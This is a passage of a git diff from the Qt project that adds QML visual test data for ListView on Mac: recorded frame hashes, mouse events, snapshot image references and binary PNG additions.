"99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5232 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 17; y: 120 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5248 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 19; y: 120 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 21; y: 120 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5264 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 24; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 28; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5280 + hash: "95b380c9ab6f8db7b822faf023d94546" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 35; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 44; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5296 + hash: "bb79e53556698c62ec30c75be9f6b7d7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 70; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 96; y: 117 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 96; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5312 + hash: "285cc2f0df1f59f25a0135560ab6edf2" + } + Frame { + msec: 5328 + hash: "93a731dc6f71b6ff5400bf74c87e6c46" + } + Frame { + msec: 5344 + hash: "eb555741ab128a50de5a18a454f2e639" + } + Frame { + msec: 5360 + hash: "5dbe6cf898c1e37fcaacecfcf57b2194" + } + Frame { + msec: 5376 + hash: "e7795610115593e78bb32f7bcc0ae2eb" + } + Frame { + msec: 5392 + hash: "20e76f0eb4ec5f691999faf8ad313370" + } + Frame { + msec: 5408 + hash: "d6a544c622e504c1b931e1a8a1310a6e" + } + Frame { + msec: 5424 + hash: "e7a3a21feed244c5b1c710a9254c15f0" + } + Frame { + msec: 5440 + hash: "5a4b1aca24f121d1373646e9d80b86fd" + } + Frame { + msec: 5456 + hash: "331d2ec7021655c86aa64e47718a1088" + } + Frame { + msec: 5472 + hash: "92096bc872e7395aa5b75c44646a0b60" + } + Frame { + msec: 5488 + hash: "0d9aa6cee4d21488cbb5153f8f3ed593" + } + Frame { + msec: 5504 + hash: "c1b943d43701605563fffffcb75f9fa7" + } + Frame { + msec: 5520 + hash: "1b680025d5ad1ddd8f8d5f570ba73e71" + } + Frame { + msec: 5536 + hash: "5539a3b9f60ea747c10ed8328b467cbf" + } + Frame { + msec: 5552 + hash: "0a1317bcb606cd3488c5b14ee5d96585" + } + Frame { + msec: 5568 + hash: "8844af68b11db7d92c69804c7371a746" + } + Frame { + msec: 5584 + hash: "28d7fd127739c6e3b8488651b725c802" + } + Frame { + msec: 5600 + hash: "0cf1a7d958a96aa2768995dddc5ccc09" + } + Frame { + msec: 5616 + hash: "64b902fe7ab4d89ef0c7b760974e3488" + } + Frame { + msec: 5632 + hash: "aba11c597eba550fc1eaddbf554057f6" + } + Frame { + msec: 5648 + hash: "1bacaa3bb9dc3cac9ffc7491cb4dc1a5" + } + Frame { + msec: 5664 + hash: "0ba8b582234d9f0c198c0c9e18e1cb02" + } + Frame { + msec: 5680 + hash: "f66eaf2b5c3529987c0d9d005351ed73" + } + Frame { + msec: 5696 + hash: "75b0bb720fa4c77da3783b3ff31c2fae" + } + Frame { + msec: 5712 + hash: "345b235bb7f13409378e5c0c370f2a41" + } + Frame { + msec: 5728 + hash: "83b7e902dce4e0fdc4ef5d629188c23c" + } + Frame { + msec: 5744 + hash: "04b9041c6f10969889d92e94785c7e88" + } + Frame { + msec: 5760 + image: "itemlist.5.png" + } + Frame { + msec: 5776 + hash: "4f3a902addc34ecdaf390e2427cc52e7" + } + Frame { + msec: 5792 + hash: "68d443f16c16821ffc9ca68b17c76034" + } + Frame { + msec: 5808 + hash: "9d25adc77befa761ee376a9b43595b5e" + } + Frame { + msec: 5824 + hash: "a68b1bc6c2963ee92c3a45f500667b3b" + } + Frame { + msec: 5840 + hash: "d5268cd58c222451d48038e715e83802" + } + Frame { + msec: 5856 + hash: "f37d461541a8ec7a4161b18748de6aea" + } + Frame { + msec: 5872 + hash: "805319ac7ca842feb3649e92f8b5b72f" + } + Frame { + msec: 5888 + hash: "73124472a05080891d4948d8ca273f8c" + } + Frame { + msec: 5904 + hash: "b6e433a23282a50db2e165a2447ba3f6" + } + Frame { + msec: 5920 + hash: "fd8d3f5688b1806998c6087e18c6c730" + } + Frame { + msec: 5936 + hash: "f132dd459950ef2d18aa93ca950d0692" + } + Frame { + msec: 5952 + hash: "ade5beb259b5277c333ca806fc9bdbec" + } + Frame { + msec: 5968 + hash: "ade5beb259b5277c333ca806fc9bdbec" + } + Frame { + msec: 5984 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6000 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6016 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6032 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6048 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6064 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6080 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6096 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6112 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6128 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6144 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6160 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6176 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6192 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6208 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6224 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6240 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6256 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6272 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6288 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6304 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6320 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6336 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6352 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6368 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6384 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6400 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6416 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6432 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6448 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6464 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6480 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6496 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6512 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6528 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6544 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6560 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6576 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6592 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6608 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6624 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6640 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6656 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6672 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6688 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6704 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6720 + image: "itemlist.6.png" + } + Frame { + msec: 6736 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6752 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6768 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6784 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6800 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6816 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6832 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6848 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6864 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6880 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6896 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6912 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6928 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6944 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6960 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6976 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6992 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7008 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7024 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7040 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7056 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7072 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7088 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7104 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7120 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7136 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7152 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7168 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7184 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7200 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7216 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7232 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7248 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7264 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7280 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7296 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 7312 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.0.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.0.png new file mode 100644 index 0000000..a1ab987 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.0.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.1.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.1.png new file mode 100644 index 0000000..a1ab987 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.1.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.10.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.10.png new file mode 100644 index 0000000..dcfca3f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.10.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.11.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.11.png new file mode 100644 index 0000000..7cc4047 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.11.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.12.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.12.png new file mode 100644 index 0000000..a97f4ad Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.12.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.13.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.13.png new file mode 100644 index 0000000..7a8c6bd Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.13.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.14.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.14.png new file mode 100644 index 0000000..ae47356 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.14.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.15.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.15.png new file mode 100644 index 0000000..b3a7260 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.15.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.16.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.16.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.16.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.17.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.17.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.17.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.18.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.18.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.18.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.19.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.19.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.19.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.2.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.2.png new file mode 100644 index 0000000..9877b92 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.2.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.3.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.3.png new file mode 100644 index 0000000..603bd24 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.3.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.4.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.4.png new file mode 100644 index 0000000..5fdfbb8 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.4.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.5.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.5.png new file mode 100644 index 0000000..a1ab987 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.5.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.6.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.6.png new file mode 100644 index 0000000..9ccf9b0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.6.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.7.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.7.png new file mode 100644 index 0000000..6b40e1b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.7.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.8.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.8.png new file mode 100644 index 0000000..2fda36d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.8.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.9.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.9.png new file mode 100644 index 0000000..581e824 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.9.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.qml b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.qml new file mode 100644 index 0000000..3765668 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.qml @@ -0,0 +1,3079 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 32 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 48 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 64 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 80 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 96 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 112 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 128 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 144 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 160 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 176 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 192 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 208 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 224 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 240 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 256 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 272 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 288 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 304 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 320 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 336 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 352 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 368 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 384 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 400 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 416 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 432 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 448 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 464 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 480 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 496 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 512 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 528 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 544 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 560 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 576 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 592 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 608 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 624 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 640 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 656 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 672 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 688 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 704 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 720 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 736 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 752 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 768 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 784 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 800 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 816 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 832 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 848 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 864 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 880 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 896 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 912 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 928 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 944 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 960 + image: "listview.0.png" + } + Frame { + msec: 976 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 992 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1008 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1024 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1040 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1056 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1072 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1088 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1104 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1120 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1136 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1152 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1168 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1184 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1200 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1216 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1232 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1248 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1264 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1280 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1296 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1312 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1328 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1344 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1360 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1376 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1392 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1408 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1424 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1440 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1456 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1472 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1488 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1504 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1520 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1536 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1552 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1568 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1584 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1600 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1616 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1632 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1648 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1664 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1680 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1696 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1712 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1728 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1744 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1760 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1776 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1792 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1808 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1824 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1840 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1856 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1872 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1888 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1904 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1920 + image: "listview.1.png" + } + Frame { + msec: 1936 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1952 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1968 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 1984 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2000 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2016 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2032 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2048 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2064 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2080 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2096 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2112 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2128 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2144 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2160 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2176 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2192 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2208 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2224 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2240 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2256 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2272 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2288 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2304 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2320 + hash: 